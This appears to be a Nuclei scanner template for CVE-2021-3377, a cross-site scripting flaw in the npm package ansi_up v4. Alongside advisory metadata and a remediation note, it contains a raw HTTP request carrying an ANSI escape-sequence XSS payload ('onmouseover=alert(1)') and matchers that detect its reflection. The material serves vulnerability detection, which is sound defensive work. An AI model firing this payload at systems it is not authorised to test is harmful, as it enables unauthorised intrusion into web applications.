id: CVE-2021-3377

info:
  name: npm ansi_up v4 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
  remediation: Upgrade to v5.0.0 or later.
  reference:
    - https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
    - https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3377
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-3377
    cwe-id: CWE-79
    epss-score: 0.00121
    epss-percentile: 0.46097
    cpe: cpe:2.3:a:ansi_up_project:ansi_up:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ansi_up_project
    product: ansi_up
    framework: node.js
  tags: cve,cve2021,xss,npm

http:
  - raw:
      - |+
        GET /\u001B]8;;https://interact.sh"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - "sh\"/onmouseover=\"alert(1)\">"

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